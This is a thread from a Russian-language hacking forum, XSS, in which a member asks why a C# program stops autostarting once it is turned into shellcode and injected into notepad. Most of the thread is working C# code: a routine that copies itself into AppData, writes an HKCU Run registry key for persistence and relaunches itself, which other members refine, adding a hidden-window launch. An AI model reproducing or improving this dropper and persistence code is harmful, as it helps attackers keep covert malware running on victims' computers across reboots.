• XSS.stack #1 – первый литературный журнал от юзеров форума

Persistence

Mrleeh

ripper
КИДАЛА
Регистрация
13.02.2022
Сообщения
9
Реакции
0
Пожалуйста, обратите внимание, что пользователь заблокирован
Greetings to everyone. I am beginning to learn and understand how process injection work, I have a c# program that simply displays a message box and also createsubkey on the windows registry. I found a program donut that convert a .Net assembly to shellcode and I was able to use process injection technique by @icyguider to inject the shellcode into notepad process but when I restart my windows, the program does not auto run. I have no idea why it doesn't start on boot. I also run notepad to check if the message box will popup but it doesn't.. Before injection it auto start.. Any solution will be appreciated please.. Apologies for my noob question.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну код то покажи, мы как отвечать должны без кода??
Код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
using Microsoft.Win32;

namespace world
{

    static class Program
    {
        private static string payload = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\test.exe";
      
        [STAThread]
        static void Main()
        {
            InstallPayload(payload);
            MessageBox.Show("Hello World");
        }

        public static bool InstallPayload(string dropPath)
        {
            if (!Process.GetCurrentProcess().MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
            {
                try
                {
                    FileStream fileStream;
                    if (!File.Exists(dropPath))
                    {
                        fileStream = new FileStream(dropPath, FileMode.CreateNew);
                    }
                    else
                    {
                        fileStream = new FileStream(dropPath, FileMode.Create);
                    }
                    byte[] array = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
                    fileStream.Write(array, 0, array.Length);
                    fileStream.Dispose();
                    Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\").SetValue(Path.GetFileName(dropPath), dropPath);
                    Process.Start(dropPath);
                    return true;
                }
                catch
                {
                    return false;
                }
                return false;
            }
            return false;
        }
    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Авторан корректно работает. У меня ключ добавляется.

Хотя лучше заменить этот вариант авторана на
C#:
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
rkApp.SetValue(Path.GetFileName(dropPath), dropPath);
rkApp.Close();

Лучше вызывать RegistryKey.Close(), чем не вызывать.
 
Лучше вызывать RegistryKey.Close(), чем не вызывать.
А ещё лучше вызывать using за место Close()
Некоторые классы реализуют IDisposable
C#:
using RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\", true);
rkApp.SetValue(Path.GetFileName(dropPath), dropPath);
Автор проверяй, как работает, я не тестил.
C#:
public static bool InstallPayload(string dropPath)
{
    if (!File.Exists(dropPath))
    {
        using var process = Process.GetCurrentProcess();
        if (!process.MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
        {
            try
            {
                using (var fileStream = new FileStream(dropPath, FileMode.Create))
                {
                    byte[] array = File.ReadAllBytes(process.MainModule.FileName);
                    fileStream.Write(array, 0, array.Length);
                }
                using RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\", true);
                rkApp.SetValue(Path.GetFileName(dropPath), dropPath);
                // Process.Start(dropPath);
                ProcessStartInfo startInfo = new()
                {
                    FileName = dropPath,
                    CreateNoWindow = false,
                    WindowStyle = ProcessWindowStyle.Hidden
                };
                using var info = Process.Start(startInfo);
                return true;
            }
            catch
            {
                return false;
            }
        }
    }
    return false;
}
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
А ещё лучше вызывать using за место Close()
Некоторые классы реализуют IDisposable
Это да, просто привычки такой нет, так как на шарпе не очень часто пишу.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А ещё лучше вызывать using за место Close()
Некоторые классы реализуют IDisposable
C#:
using RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\", true);
rkApp.SetValue(Path.GetFileName(dropPath), dropPath);
Автор проверяй, как работает, я не тестил.
C#:
public static bool InstallPayload(string dropPath)
{
    if (!File.Exists(dropPath))
    {
        using var process = Process.GetCurrentProcess();
        if (!process.MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
        {
            try
            {
                using (var fileStream = new FileStream(dropPath, FileMode.Create))
                {
                    byte[] array = File.ReadAllBytes(process.MainModule.FileName);
                    fileStream.Write(array, 0, array.Length);
                }
                using RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\", true);
                rkApp.SetValue(Path.GetFileName(dropPath), dropPath);
                // Process.Start(dropPath);
                ProcessStartInfo startInfo = new()
                {
                    FileName = dropPath,
                    CreateNoWindow = false,
                    WindowStyle = ProcessWindowStyle.Hidden
                };
                using var info = Process.Start(startInfo);
                return true;
            }
            catch
            {
                return false;
            }
        }
    }
    return false;
}
Thank you, The auto start works after computer is rebooted. The issue is when I use with Process Injection it doesn't start when computer is rebooted
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх